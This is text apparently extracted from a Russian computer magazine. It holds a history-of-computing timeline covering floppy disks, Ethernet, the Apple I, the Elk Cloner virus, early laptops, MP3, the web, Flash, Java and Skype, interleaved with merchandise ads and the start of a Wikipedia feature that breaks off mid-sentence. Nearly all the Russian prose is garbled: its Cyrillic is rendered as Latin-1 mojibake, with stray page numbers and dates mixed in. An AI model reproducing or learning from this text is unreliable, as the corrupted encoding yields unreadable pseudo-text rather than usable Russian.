1971 1965 1979 1973 ÔËÎÏÏÈ ÄÈÑÊ Â 1967 ãîäó êîìïàíèÿ IBM ïîðó÷èëà ñâîåìó èññëåäîâàòåëüñêîìó îòäåëó â Ñàí-Õîñå íîâóþ çàäà÷ó. Íóæíî áûëî ðàçðàáîòàòü ïðîñòóþ, íåäîðîãóþ ñèñòåìó àâòîìàòè÷åñêîé çàãðóçêè ìèêðîêîäà äëÿ êîìïüþòåðîâ System/370. Çàãðóæàòü êîä ñ ïëåíêè áûëî äîëãî, ê òîìó æå íîñèòåëè áûëè ñëèøêîì áîëüøèìè, ÷òî íå óñòðàèâàëî IBM. Äýâèä Íîóáë, îäèí èç ó÷åíûõ, ðàáîòàâøèõ íàä çàäà÷åé, ïåðåïðîáîâàë êó÷ó ðàçíûõ ðåøåíèé, ïîêà íå ñîçäàë òàê íàçûâàåìûé «äèñê ïàìÿòè», ïîçäíåå ïîëó÷èâøèé íàçâàíèå «ôëîïïè äèñê». Ïåðâûå äèñêåòû èìåëè ðàçìåð 8 äþéìîâ, ìîãëè âìåùàòü 80 Êá èíôîðìàöèè è áûëè read-only. Åùå îíè íå èìåëè ïëàñòèêîâîãî êîíâåðòà, êîòîðûé ïîÿâèëñÿ ÷óòü ïîçæå èç-çà ïðîáëåì ñ áûñòðûì çàãðÿçíåíèåì. Íîâûé ôîðìàò äèñêîâ áûë ïðåäñòàâëåí â 1973 ãîäó, ïîçâîëèâ óâåëè÷èòü îáúåì äî 250 Êá è ñäåëàòü äèñêè ïåðåçàïèñûâàåìûìè. Äèñêåòû îêàçàëèñü íåñðàâíèìî óäîáíåå ïåðôîêàðò è ïëåíî÷íûõ íàêîïèòåëåé, íî ïîêà åùå èñïîëüçîâàëè��ü â îãðàíè÷åííûõ êîëè÷åñòâàõ èç-çà âûñîêîé öåíû. Îäíà äèñêåòà ñòîèëà ïî÷òè ñòîëüêî æå, ñêîëüêî ïðîñòîé êîìïüþòåð. Ñèòóàöèÿ èçìåíèëàñü ïîñëå òîãî, êàê áûëè îïðåäåëåíû ñòàíäàðòû, è äåñÿòêè êîìïàíèé ïðèíÿëèñü âûïóñêàòü è äîðàáàòûâàòü ôëîïïè äèñêè. Ýòî ðåçêî ñíèçèëî öåíó, è äèñêåòû áûñòðî âûòåñíèëè äðóãèå íîñèòåëè èíôîðìàöèè.  1975 ãîäó áûë ðàçðàáîòàí íîâûé 5-äþéìîâûé ôîðìàò, à èñïîëüçîâàíèå îáåèõ ñòîðîí äèñêåòû âäâîå óâåëè÷èëî åìêîñòü.  1981 ãîäó Sony ïðåäñòàâèëà ïåðâûé òðåõäþéìîâûé äèñê â æåñòêîì êîíâåðòå, êîòîðûé ñòàë ñòàíäàðòîì äå-ôàêòî â 90-õ ãîäàõ.

ETHERNET Êàê è ìíîãèå äðóãèå êîìïüþòåðíûå èçîáðåòåíèÿ, Ethernet áûë ðàçðàáîòàí â èññëåäîâàòåëüñêîì öåíòðå Xerox. Àâòîðîì èäåè ñòàë Ðîáåðò Ìåòêàëüô, êîòîðîãî ïîïðîñèëè ïîñòðîèòü ñåòü, ñîåäèíÿþùóþ êîìïüþòåðû PARC. Íåçàäîëãî äî ýòîãî ó÷åíûå öåíòðà ñîçäàëè ïåðâûé â èñòîðèè ëàçåðíûé ïðèíòåð, è íà÷àëüñòâî õîòåëî, ÷òîáû ðàñïå÷àòûâàòü èçîáðàæåíèÿ íà ýòîì ïðèíòåðå ìîæíî áûëî ñ ëþáîãî êîìïüþòåðà. Ó Ìåòêàëüôà áûëî äâå îñíîâíûå òðóäíîñòè: ñäåëàòü ñåòü äîñòàòî÷íî áûñòðîé, ÷òîáû óñïåâàòü çà ñêîðîñòüþ ïå÷àòè, è ïðèäóìàòü, êàê ñîåäèíèòü ñîòíè ìàøèí, íàõîäÿùèõñÿ â îäíîì çäàíèè. Óæå ÷åðåç òðè ãîäà Ìåòêàëüô îïóáëèêîâàë äîêóìåíò ïîä íàçâàíèåì «Ethernet: ðàñïðåäåëåííàÿ ïàêåòíàÿ êîììóòàöèÿ äëÿ ëîêàëüíûõ êîìïüþòåðíûõ ñåòåé», â êîòîðîì îïèñûâàëèñü ïðèíöèïû ñîçäàíèÿ 3-ìåãàáèòíîé ëîêàëüíîé ñåòè. Ðîáåðò óøåë èç Xerox â 1979 ãîäó, ÷òîáû ïðîäâèãàòü èäåè ïåðñîíàëüíûõ êîìïüþòåðîâ è êîìïüþòåðíûõ ñåòåé â ìàññû, è äëÿ ýòîãî îñíîâàë êîìïàíèþ 3Com. Èìåííî áëàãîäàðÿ åãî íàñòîé÷èâîñòè è óáåäèòåëüíîñòè DEC, Intel è Xerox ñîâìåñòíî ñäåëàëè Ethernet ñòàíäàðòíûì ïðîòîêîëîì, êîòîðûé èñïîëüçóåòñÿ ïðè ïîñòðîåíèè LAN è ïî ñåé äåíü.

096 XÀÊÅÐ 02 /86/ 06


X

ÒÎÂÀÐÛ *

 ÑÒÈËÅ XAKEP STUFF ÊÐÓÆÊÀ + ÔËßÆÊÀ + ÇÀÆÈÃÀËÊÀ

* ÝÊÑÊËÞÇÈÂÍÀß ÊÎËËÅÊÖÈß ÎÄÅÆÄÛ È ÀÊÑÅÑÑÓÀÐÎÂ ÎÒ ÆÓÐÍÀËÀ ÕÀÊÅÐ

«C.I.A. - CENTRAL INTELLIGENCE AGENCY» ÒÎËÑÒÎÂÊÀ

«ÎÏÀÑÍÎ ÄËß ÆÈÇÍÈ» ÊÎÂÐÈÊ ÄËß ÌÛØÈ

Ñ ËÎÃÎÒÈÏÎÌ «ÕÀÊÅл ÏÈÂÍÀß ÊÐÓÆÊÀ ÑÎ ØÊÀËÎÉ

!!

! new

ÖÅÍÀ:

69.99 USD

ÊÎÄ ÒÎÂÀÐÀ: COF16384

6.99 USD

ÊÎÄ ÒÎÂÀÐÀ: COF13771

«WWW - WE WANT WOMEN'' » ÒÎËÑÒÎÂÊÀ

«ÕÀÊÅÐ INSIDE» ÔÓÒÁÎËÊÀ

ÖÅÍÀ:

ÖÅÍÀ:

14.99 USD

ÊÎÄ ÒÎÂÀÐÀ: COF12579

ÖÅÍÀ:

29.99 USD

ÊÎÄ ÒÎÂÀÐÀ: COF14027

«ÕÀÊÅл ÊÎÆÀÍÛÉ ØÍÓÐÎÊ ÄËß ÌÎÁÈËÜÍÈÊÀ

«ÕÀÊÅÐ – ÄÅÍÜÃÈ» ÇÀÆÈÌ ÄËß ÄÅÍÅÃ

ÖÅÍÀ:

39.99 USD

ÊÎÄ ÒÎÂÀÐÀ: COF14827

«HACK OFF» ÔÓÒÁÎËÊÀ

ÖÅÍÀ:

14.99 USD

ÖÅÍÀ:

12.99 USD

ÊÎÄ ÒÎÂÀÐÀ: COF14018

«FBI» ÂÅÒÐÎÂÊÀ

ÊÎÄ ÒÎÂÀÐÀ: COF13632

Ñ ËÎÃÎÒÈÏÎÌ «ÕÀÊÅл ÇÀÆÈÃÀËÊÀ ÌÅÒÀËËÈ×ÅÑÊÀß

ÖÅÍÀ:

39.99 USD

ÊÎÄ ÒÎÂÀÐÀ: COF13866

«ÕÀÊÅл ÐÓ×ÊÀ SENATOR ÌÅÒÀË. Ñ ÃÐÀÂÈÐÎÂÊÎÉ

!!!

ED LIMIT

ÖÅÍÀ:

11.99USD

ÊÎÄ ÒÎÂÀÐÀ: COF14590

Èãðàé ïðîñòî! GamePost

ÖÅÍÀ:

11.99 USD

ÊÎÄ ÒÎÂÀÐÀ: COF14591

ÖÅÍÀ:

11.99 USD

ÊÎÄ ÒÎÂÀÐÀ: COF13862

ÖÅÍÀ:

22.99 USD

ÊÎÄ ÒÎÂÀÐÀ: COF13861


ÑÖÅÍÀ ///// ISSUE

ÏÅÐÑÎÍÀËÜÍÛÉ ÊÎÌÏÜÞÒÅÐ Ñòèâ Âîçíÿê â ñåðåäèíå 70-õ ãîäîâ áûë òèïè÷íûì òåõíî-ãèêîì: äíåì ðàáîòàë íà Hewlett Packard, à âå÷åðàìè êîâûðÿëñÿ â äåòàëÿõ êîìïüþòåðíûõ êîíñòðóêòîðîâ òèïà Altair.  îäèí ïðåêðàñíûé äåíü Ñòèâ îñîçíàë, ÷òî îñíîâíûå êîìïüþòåðíûå êîìïëåêòóþùèå, òàêèå êàê ïðîöåññîð è ïàìÿòü, ïîäåøåâåëè íàñòîëüêî, ÷òî ñ ìåñÿ÷íîé çàðïëàòû ìîæíî ïðèîáðåñòè âñå íåîáõîäèìîå äëÿ ñáîðêè ñîáñòâåííîãî êîìïüþòåðà.  ñëåäóþùèå äíè ïàðåíü ïîíàñòîÿùåìó çàãîðåëñÿ ýòîé èäååé è, ïîäêëþ÷èâ ê äåëó ñâîåãî ïðèÿòåëÿ Ñòèâà Äæîáñà, âñå ñâîáîäíîå âðåìÿ ïðîâîäèë â îòöîâñêîì ãàðàæå ñ ïàÿëüíèêîì â ðóêàõ.  íà÷àëå 1976 ãîäà ðàáîòà áûëà çàêîí÷åíà: Apple I èìåë 4 Êá ðàñøèðÿåìîé ïàìÿòè, 1 Ìãö ïðîöåññîð MOS 6502 è äåðåâÿííûé êîðïóñ ñ êëàâèàòóðîé. Íåñìîòðÿ íà òî, ÷òî Ñòèâ Âîçíÿê ñîçäàâàë êîìïüþòåð äëÿ ñåáÿ, Äæîáñó óäàëîñü óáåäèòü äðóãà ïîïðîáîâàòü åãî ïðîäàòü. Ïîêóïàòåëè áûñòðî íàøëèñü, è 200 ñîáðàííûõ âðó÷íóþ Apple’îâ óøëè ïî öåíå $666 çà øòóêó. Apple I áûë ïåðâûì ïåðñîíàëüíûì êîìïüþòåðîì, êîòîðûé ïðîäàâàëñÿ â ðàáî÷åì ñîñòîÿíèè è íå òðåáîâàë ïðåäâàðèòåëüíîé ñáîðêè. 17 àïðåëÿ 1977 ãîäà íà ïåðâîé àìåðèêàíñêîé êîìïüþòåðíîé ÿðìàðêå äðóçüÿ ïðåäñòàâèëè íîâóþ ìîäåëü Apple II, êîòîðàÿ áëàãîäàðÿ ñâîèì âîçìîæíîñòÿì è äîñòóïíîñòè ñòàëà î÷åíü ïîïóëÿðíîé ñðåäè ïðîñòûõ ïîëüçîâàòåëåé è îòêðûëà ýðó ïåðñîíàëüíûõ êîìïüþòåðîâ.

1976 1982 ÊÎÌÏÜÞÒÅÐÍÛÉ ÂÈÐÓÑ Ýâîëþöèÿ êîìïüþòåðíûõ âèðóñîâ íà÷àëàñü â 1982 ãîäó ñ òâîðåíèÿ 15-ëåòíåãî øêîëüíèêà Ðè÷àðäà Ñêðåíòû. Âèðóñ, êîòîðûé îí íàïèñàë (Elk Cloner), çàðàæàë ñèñòåìû Apple II, ïðîíèêàÿ ñ èíôèöèðîâàííûõ äèñêîâ â ïàìÿòü êîìïüþòåðà è îñóùåñòâëÿÿ ïðîâåðêó íîâûõ ôëîïîâ. Åñëè âñòàâëåííàÿ äèñêåòà îêàçûâàëàñü ÷èñòîé, òî âèðóñ êîïèðîâàë ñåáÿ íà íåå, ìåäëåííî ïåðåïîëçàÿ ñ äèñêà íà äèñê. Elk Cloner, êàê è áîëüøèíñòâî ðàííèõ âèðåé, áûë áåçâðåäíûì, íî ÷åðåç êàæäûå 50 çàïóñêîâ âûâîäèë íà ýêðàí êîðîòêîå ñòèõîòâîðåíèå: Elk Cloner: The program with a personality It will get on all your disks It will infiltrate your chips Yes it’s Cloner! It will stick to you like glue It will modify ram too Send in the Cloner! Èìåëèñü ïîäîçðåíèÿ, ÷òî âèðóñ ìîã ïîâðåäèòü äèñêåòó ñ íåóñòàíîâëåííîé îïåðàöèîííîé ñèñòåìîé. Íåñìîòðÿ íà òî, ÷òî Elk Cloner íå ïîëó÷èë áîëüøîãî ðàñïðîñòðàíåíèÿ è åãî æåðòâàìè ñòàëè â îñíîâíîì äðóçüÿ è çíàêîìûå Ðè÷àðäà (âêëþ÷àÿ ó÷èòåëÿ ìàòåìàòèêè), ýòà ïðîãðàììà ñòàëà ïåðâûì çàôèêñèðîâàííûì êîìïüþòåðíûì âèðóñîì, âûøåäøèì çà ïðåäåëû êîìïüþòåðà ñâîåãî àâòîðà.

098

ÍÎÓÒÁÓÊ Ïåðâûå íîóòáóêè íå âûãëÿäåëè, êàê ñêëàäûâàþùàÿñÿ êíèæêà, íî çàòî áûëè ïîðòàòèâíûìè è ñî âðåìåíåì ïðèâåëè ê ñîçäàíèþ òåõ íîóòáóêîâ, êîòîðûå ìû èìååì ñåãîäíÿ. Âåðîÿòíî, ïðàðîäèòåëåì ñîâðåìåííûõ íîóòáóêîâ ñòàë êîìïüþòåð, ðàçðàáîòàííûé Óèëüÿìîì Ìîããðàéäæåì. Îí âåñèë â 5 ðàç ìåíüøå, ÷åì àíàëîãè÷íûå ïî ïðîèçâîäèòåëüíîñòè ìàøèíû, è áûë íà ñëóæáå NASA â ïðîãðàììàõ ïî çàïóñêó øàòòëîâ. Ïåðâûì êîììåð÷åñêèì íîóòáóêîì ñòàë Osborne 1, ïðåäñòàâëåííûé â àïðåëå 1981 ãîäà êîìïüþòåðíîé êîìïàíèåé Osborne. Âåñèë îí 12 êèëîãðàììîâ, èìåë 4 Ìãö ïðîöåññîð Z80, 64 Êá ïàìÿòè, 5-äþéìîâûé äèñêîâîä, ìèíèàòþðíûé 5-äþéìîâûé ýêðàí è ñòîèë â ðàéîíå $2000.  êà÷åñòâå ÎÑ èñïîëüçîâàëàñü ïîïóëÿðíàÿ â òî âðåìÿ CP/M 2.2. Ïîìèìî ýòîãî, â êîìïëåêòå ïîñòàâëÿëèñü òåêñòîâûé ïðîöåññîð WordStar, êàëüêóëÿòîð Supercalc, ïðîãðàììà äëÿ ðàáîòû ñ áàçàìè äàííûõ dBase II è ÿçûê ïðîãðàììèðîâàíèÿ Basic. Âñêîðå ïîñëå íà÷àëà ïðîäàæ ïîÿâèëîñü ìíîæåñòâî êëîíîâ ïåðâîãî íîóòáóêà îò äðóãèõ êîìïàíèé, ñòðåìÿùèõñÿ óðâàòü ñ íîâèíêè ñâîé êóñîê. Íî íàñòîÿùèì êîíêóðåíòîì Îñáîðíó ñòàë Kaypro II — íîóòáóê íîâîãî ïîêîëåíèÿ ñ áîëåå ïðàêòè÷íûì 9-äþéìîâûì ýêðàíîì è äèñêàìè äâîéíîé ïëîòíîñòè, íà êîòîðûõ ìîæíî áûëî âìåñòèòü âäâîå áîëüøå èíôîðìàöèè. Ñäåëàòü îòâåòíûé õîä êîìïàíèÿ Osborne íå ñìîãëà è âñêîðå îáàíêðîòèëàñü.

1981

1987 MP3  1987 ãîäó ïðåñòèæíåéøèé ãåðìàíñêèé èíñòèòóò Ôðàíõîâåðà çàïóñòèë íîâûé èññëåäîâàòåëüñêèé ïðîåêò EURIKA, öåëüþ êîòîðîãî áûëà ðàçðàáîòêà íîâûõ ñïîñîáîâ ñæàòèÿ àóäèîñèãíàëà áåç ïîòåðè êà÷åñòâà. Ãëàâíûì ðàçðàáîò÷èêîì áûë Êàðëõåéíç Áðýíäåíáóðã — èçâåñòíûé ìàòåìàòèê è ñïåöèàëèñò ïî ñæàòèþ. Îí ïîñòðîèë àïïàðàò ðàçìåðîì ñ õîëîäèëüíèê, êîòîðûé ìîã ñæèìàòü ìóçûêàëüíûé ôàéë äî 8% îò åãî îðèãèíàëüíîãî ðàçìåðà. Ïîñëå ýòîãî ïðîôåññîð ñôîêóñèðîâàë óñèëèÿ íà âîñïðîèçâåäåíèè ïîäîáíîãî ñæàòèÿ ÷åðåç àëãîðèòì. Ðåçóëüòàòîì ñòàë MPEG-1 Layer 3, êîòîðûé áûë ðàññìîòðåí â ìàå 1988 ãîäà íà âñòðå÷å 25 ó÷àñòíèêîâ Moving Picture Experts Group — ñïåöèàëüíîãî îòäåëà ìóëüòèìåäèéíûõ ñòàíäàðòîâ êîìèòåòà ISO. À ÷óòü ïîçæå áûë çàïàòåíòîâàí èíñòèòóòîì. Ïîòðåáîâàëîñü åùå íåñêîëüêî ëåò, ÷òîáû àëãîðèòì ïðåâðàòèëñÿ â ïîëíîöåííûé ôîðìàò ñæàòèÿ, ïîçâîëèâøèé ñîêðàòèòü ðàçìåð ìóçûêàëüíûõ ôàéëîâ áåç ïîòåðè êà÷åñòâà â 10 ðàç. Äîñòè÷ü ýòîãî óäàëîñü ïóòåì îòñåèâàíèÿ «íåçíà÷èòåëüíûõ» ÷àñòåé çâóêà, êîòîðûå íå ðàñïîçíàþòñÿ ÷åëîâå÷åñêèì óõîì.  íà÷àëå 90-õ mp3 èñïîëüçîâàëñÿ â ïðîôåññèîíàëüíûõ ïðèëîæåíèÿõ, à ñ ðàçâèòèåì Èíòåðíåòà ñòàë î÷åíü ïîïóëÿðíûì.

XÀÊÅÐ 02 /86/ 06


WWW WWW ÿâëÿåòñÿ îäíèì èç ñàìûõ âëèÿòåëüíûõ êîìïüþòåðíûõ èçîáðåòåíèé. Åãî êîíöåïöèÿ áûëà ðàçðàáîòàíà â 1989 ãîäó â Åâðîïåéñêîì Öåíòðå ßäåðíûõ Èññëåäîâàíèé (CERN), íàõîäÿùåìñÿ â Æåíåâå. Àâòîð, Òèì Áåðíåðñ Ëè, óæå äîëãîå âðåìÿ ïûòàëñÿ îáúÿñíèòü ñåòåâîìó ñîîáùåñòâó, ÷òî ãèïåðëèíêîâàÿ ñðåäà ÿâëÿåòñÿ îïòèìàëüíîé äëÿ êîìïüþòåðíûõ ñåòåé. È, òàê êàê ïîääåðæêè íå âñòðåòèë, ðåøèë ñàìîñòîÿòåëüíî âîïëîòèòü åå â æèçíü.  îêòÿáðå 1990 ãîäà Òèì ïðèñòóïèë ê ðàáîòå íàä ãèïåðòåêñòîâûì áðàóçåðîì ñ ãðàôè÷åñêèì èíòåðôåéñîì, êîòîðûé íàçâàë World Wide Web. À ÷åðåç ãîä îïóáëèêîâàë â íîâîñòíîé ãðóïïå alt.hypertext ïîäðîáíóþ äîêóìåíòàöèþ. Ðóêîâîäñòâî CERN îäîáðèëî êîíöåïöèþ Òèìà è ïîñëå òåñòèðîâàíèÿ íà ñâîèõ êîìïüþòåðàõ ïðåäñòàâèëà WWW øèðîêîé ïóáëèêå. Ïî-íàñòîÿùåìó ïîïóëÿðíûì âåá ñòàë ñ ïîÿâëåíèåì â 1993 ãîäó ãðàôè÷åñêîãî áðàóçåðà Mosaic, êîòîðûé ïðåâðàòèë íåâûðàçèòåëüíûå ãèïåðññûëêè â òîò Èíòåðíåò, êàêèì ìû åãî çíàåì ñåãîäíÿ.

1989

1996 FLASH  íà÷àëå 90-õ ìàëåíüêàÿ ñîôòâàðíàÿ êîìïàíèÿ FutureWave Software, ñîñòîÿùàÿ èç 6 ÷åëîâåê, âûïóñòèëà ïðîãðàììó SmartSketch. Ñ åå ïîìîùüþ ìîæíî áûëî ðèñîâàòü íåñëîæíóþ âåêòîðíóþ ãðàôèêó äëÿ ïëàíøåòíûõ êîìïüþòåðîâ. Êîãäà Èíòåðíåò ñòàë íàáèðàòü îáîðîòû, êîìïàíèÿ ðåøèëà äîáàâèòü â ñâîþ ïðîãðàììó âîçìîæíîñòè àíèìàöèè è àäàïòèðîâàòü SS ïîä ñåòåâóþ ñðåäó.  ìàå 1996 ãîäà FutureWave ïðåäñòàâèëà ñâîé íîâûé ïðîäóêò ïîä íàçâàíèåì FutureSplash Animator, íàïîìèíàþùèé ñâîåãî ïðåäøåñòâåííèêà, íî èìåþùèé íàìíîãî áîëüøå ãðàôè÷åñêèõ âîçìîæíîñòåé è îðèåíòèðîâàííûé íà àíèìàöèþ. Ïðèëîæåíèå çàíèìàëî ìàëî ìåñòà è ïîýòîìó èäåàëüíî ïîäõîäèëî äëÿ èñïîëüçîâàíèÿ â Ñåòè, ãäå ðàçìåð ñêà÷èâàåìûõ ôàéëîâ äëÿ áîëüøèíñòâà ïîëüçîâàòåëåé áûë êðèòè÷íûì. Òåõíîëîãèÿ íå îñòàëàñü íåçàìå÷åííîé: Microsoft èñïîëüçîâàëà åå ïðè ñîçäàíèè ñàéòà Microsoft’s MSN, à Disney — â ñâîåì íîâîì ïîðòàëå Daily Blast.  äåêàáðå 1996 ãîäà Macromedia — îäèí èç âåäóùèõ ïðîèçâîäèòåëåé ãðàôè÷åñêèõ ïàêåòîâ — îáðàòèëà âíèìàíèå íà ìàëåíüêóþ, íî ïåðñïåêòèâíóþ êîíòîðó è ��çÿëà åå ïîä ñâîå êðûëî. Splash ñðàçó æå ïåðåèìåíîâàëè â Macromedia Flash, à â ñëåäóþùåì ãîäó âûøëà óæå âòîðàÿ âåðñèÿ ñ ïîääåðæêîé ñòåðåîçâóêà è enhanced bitmap. Ïðàêòè÷åñêè ñðàçó ïîñëå ñâîåãî ïîÿâëåíèÿ òåõíîëîãèÿ ôëåø ñòàëà ïîïóëÿðíîé äëÿ ñîçäàíèÿ èíòåðàêòèâíûõ ñàéòîâ, ïðåçåíòàöèé è ðåêëàìíûõ êëèïîâ, à â ïîñëåäíèå ãîäû òàêæå ïîÿâèëîñü îãðîìíîå êîëè÷åñòâî ôëåøåâûõ ìóëüòôèëüìîâ.

XÀÊÅÐ 02 /86/ 06

JAVA ßçûê ïðîãðàììèðîâàíèÿ Java ïîëó÷èë ðîæäåíèå â íåäðàõ Sun Microsystems êàê îäèí èç âíóòðåííèõ ïðîåêòîâ êîìïàíèè. Êîìàíäå ðàçðàáîò÷èêîâ, ñîñòîÿùåé èç èíæåíåðà Ïàòðèêà Íýéòîíà, à òàêæå åãî ïîìîùíèêîâ — Äæåéìñà Ãîñëèíãà è Ìàéêà Øåðèäàíà, äàëè çàäàíèå ðàçðàáîòàòü íîâóþ òåõíîëîãèþ ïðîãðàììèðîâàíèÿ «óìíûõ» áûòîâûõ ïðèáîðîâ íîâîãî ïîêîëåíèÿ. Íýéòîí ñ êîëëåãàìè ñíà÷àëà ñîáèðàëèñü èñïîëüçîâàòü â êà÷åñòâå îñíîâû C++. Íî îêàçàëîñü, ÷òî ýòîò ÿçûê ñëèøêîì ñëîæåí, ïëîõî ïîäõîäèò äëÿ ðàáîòû ñ ñèñòåìíîé ïàìÿòüþ è áûñòðîãî ïîðòèðîâàíèÿ íà ðàçëè÷íûå äåâàéñû. Ðóêîâîäèòåëü SUN Áèëë Äæîé ïðåäëîæèë îáúåäèíèòü ëó÷øèå ñòîðîíû ÿçûêîâ Mesa è C, ïîñëå ÷åãî Ãîñëèíã ïðèñòóïèë ê ýêñïåðèìåíòàì ñ C++, ðàñøèðÿÿ åãî è ìîäèôèöèðóÿ. Êîí÷èëîñü ýòî òåì, ÷òî îí áðîñèë ýòó çàòåþ è ñîçäàë ñîâåðøåííî íîâûé ÿçûê ïðîãðàììèðîâàíèÿ, ïîëó÷èâøèé íàçâàíèå Oak (â ÷åñòü äåðåâà, ðàñòóùåãî ó îêîí åãî îôèñà). Êîìàíäà ñ ýíòóçèàçìîì ïðîäîëæàëà ðàáîòàòü íàä ïðîåêòîì, è 3 ñåíòÿáðÿ 1992 ãîäà ñîñòîÿëàñü ïðåçåíòàöèÿ èíòåðàêòèâíîé ñðåäû, âêëþ÷àþùåé íîâóþ îïåðàöèîííóþ ñèñòåìó Green, ÿçûê ïðîãðàììèðîâàíèÿ, áèáëèîòåêè è òåõíè÷åñêîå îáîðóäîâàíèå. Ïðîåêò ïîëó÷èë íàçâàíèå First Person Inc. è ïðåäíàçíà÷àëñÿ äëÿ èñïîëüçîâàíèÿ â òåëåâèäåíèè. Íî ïîñëå òîãî êàê òåëåâèçèîííàÿ èíäóñòðèÿ îòêàçàëàñü îò óñëóã SUN, êîìïàíèÿ ðåøèëà íàïðàâèòü ñâîè ñèëû íà ïîêîðåíèå Èíòåðíåòà. ßçûê Oak áûë ïåðåèìåíîâàí â Java è ïðåäñòàâëåí êàê ïëàòôîðìà äëÿ ñîçäàíèÿ èíòåðàêòèâíîé ñåòåâîé ñðåäû.

1992

2005

SKYPE Skype — ýòî ïîñòðîåííàÿ íà îñíîâå òåõíîëîãèè p2p ñèñòåìà èíòåðíåò-òåëåôîíèè (VoIP). Åå ñîçäàòåëÿìè ñòàëè àâòîðû KaZaA ßíóñ Ôðèñ è Íèêëàñ Çýííñòðîì, êîòîðûå õîòåëè ïðåäñòàâèòü ÷òî-òî íîâîå â ïðîòèâîâåñ ðàñïðîñòðàíåííûì VoIP-ïðîòîêîëàì SIP è H.323. Ñ ïîìîùüþ Skype èíòåðíåò÷èêè, æèâóùèå â ðàçíûõ êîíöàõ ìèðà è ñêà÷àâøèå ñïåöèàëüíóþ ïðîãðàììó, ìîãóò ðàçãîâàðèâàòü äðóã ñ äðóãîì ñîâåðøåííî áåñïëàòíî. Çà íåáîëüøóþ ïëàòó ìîæíî çâîíèòü ñ êîìïüþòåðà íà îáû÷íûå òåëåôîíû, ïîëó÷àòü ñ íèõ çâîíêè èëè ãîëîñîâûå ñîîáùåíèÿ.  îòëè÷èå îò îáû÷íûõ ìåæäóãîðîäíèõ çâîíêîâ, â ñèñòåìå Skype ðàññòîÿíèå íå èìååò çíà÷åíèÿ. Öåíà çà ìèíóòó ðàçãîâîðà ñîñòàâèò îêîëî äâóõ öåíòîâ, è íå âàæíî, çâîíèøü òû ÷åðåç îêåàí èëè ñî ñâîåãî êîìïüþòåðà íà ñâîåé æå äîìàøíèé òåëåôîí. Íåäàâíî eBay ïðèîáðåëà Skype Group çà 2,6 ìèëëèàðäà äîëëàðîâ, îáåùàÿ â áëèæàéøåì áóäóùåì ñäåëàòü èíòåðíåò-òåëåôîíèþ ïîïóëÿðíåå îáû÷íûõ òåëåôîííûõ çâîíêîâ ïî ìåæãîðîäó. Òàêæå ðàçðàáîò÷èêè ïðåäñòàâèëè â 2005 ãîäó íåñêîëüêî íîâûõ âîçìîæíîñòåé, âêëþ÷àÿ âèäåî- è òåëåêîíôåðåíöèè (ãîëîñîâîå IRC).

099


Äæèììè Óýéëñ, îí æå Äæèìáî èëè ïðîñòî Öàðü è Áîã Âèêèïåäèè

ËÞÁÎÉ ÈÍÒÅÐÍÅÒ×ÈÊ ÕÎÒÜ ÐÀÇ Â ÆÈÇÍÈ ÑÈÄÅË ÏÅÐÅÄ ÁÐÀÓÇÅÐÎÌ Ñ ÊÓ×ÅÉ ÎÒÊÐÛ“ ÒÛÕ ÏÎÈÑÊÎÂÈÊÎÂ È ÒÎÑÊËÈÂÎ ÌÅ×ÒÀË Î ÑÀÉÒÅ, ÍÀ ÊÎÒÎÐÎÌ ÅÑÒÜ ÂÑÅ. ÎÒÂÅÒÛ ÍÀ ËÞÁÛÅ ÂÎÏÐÎÑÛ, ÏÎÄÐÎÁÍÛÅ ÑÒÀÒÜÈ ÍÀ ÂÑÅÂÎÇÌÎÆÍÛÅ ÒÅÌÛ, ÌÎÐÅ ÈÍÔÎÐÌÀÖÈÈ... ÑÊÀÆÅØÜ, ÓÒÎÏÈß? ÎÒÍÞÄÜ, ÄÐÓÆÎÊ, ÒÀÊÎÉ ÐÅÑÓÐÑ ÑÓÙÅÑÒÂÓÅÒ ÓÆÅ ÑÅÉ×ÀÑ, È ÈÌß ÅÌÓ — WIKIPEDIA. ÕÎ×ÅØÜ ÓÇÍÀÒÜ Î ÊÐÓÏÍÅÉØÅÉ ÝÍÖÈÊËÎÏÅÄÈÈ Â ÈÑÒÎÐÈÈ

×ÅËÎÂÅ×ÅÑÒÂÀ, ÄÅÂÈÇ ÊÎÒÎÐÎÉ: «ÌÛ ÑÎÁÈÐÀÅÌ ÇÍÀÍÈß ÌÈÐÀ»? ÒÎÃÄÀ ×ÈÒÀÉ ÄÀËÜØÅ 100

XÀÊÅÐ 02 /86/ 06


TEXT MIFRILL / MIFRILL@RIDDICK.RU /

WIKIPEDIA ÊÎÏÈËÊÀ ÌÈÐÎÂÛÕ ÇÍÀÍÈÉ

ÝÍÖÈÊËÎÏÅÄÈ×ÅÑÊÈÅ ÊÎÐÍÈ Èäåÿ ñîçäàíèÿ «åäèíîé áàçû çíàíèé ìèðà» áåðåò íà÷àëî èç äàëåêîãî ïðîøëîãî. Åùå â äðåâíîñòè ëþäè ïûòàëèñü êàê-òî ñèñòåìàòèçèðîâàòü è óâåêîâå÷èòü ñâîè çíàíèÿ.  èòîãå è ïðèäóìàëè ýíöèêëîïåäèè êàê òàêîâûå. Ïðàâäà, ïîëüçîâàòüñÿ îáúåìíûìè òîìàìè íå âñåãäà óäîáíî. Ê ïðèìåðó, èçäàíèå «ÁÑÝ» (Áîëüøàÿ Ñîâåòñêàÿ Ýíöèêëîïåäèÿ) 1950—1960 ãîäîâ íàñ÷èòûâàåò 51 òîì. Ìåñòà âñå ýòî ñîêðîâèùå çàíèìàåò íåìàëî, ñòîèò äîðîãî, è ïîêà íàéäåøü, ÷òî íóæíî, ìîæåò ïðîéòè êó÷à âðåìåíè. Ñèòóàöèþ íå ñïàñ äàæå ïîÿâèâøèéñÿ â 1960-ì ãîäó ïðåäìåòíî-èìåííîé àëôàâèòíûé óêàçàòåëü ïî «ÁÑÝ» â äâóõ òîìàõ. Êîíå÷íî, â íàøå âðåìÿ óæå ìîæíî êóïèòü «Áîëüøóþ Ñîâåòñêóþ» íà CD èëè DVD, íî òóò âñïëûâàåò åùå îäíà ïðîáëåìà — èíôîðìàöèÿ, êîòîðàÿ óñòàðåâàåò ñ ãîëîâîêðóæèòåëüíîé ñêîðîñòüþ. Ó÷åíûå äåëàþò íîâûå îòêðûòèÿ, ïèñàòåëè ïèøóò íîâûå êíèãè, êàæäûé äåíü âûõîäÿò òûñÿ÷è ãàçåò, ïðîãðåññèðóåò òåëåâèäåíüå, à óæ î Ñåòè è ãîâîðèòü ñòðàøíî. Óñëåäèòü çà âñåì ýòèì, ïðàêòè÷åñêè íå âîçìîæíî. Ñêîëüêî ëþäåé äîëæíî åæåäíåâíî ðàáîòàòü íàä èçäàíèåì, ÷òîáû èäòè 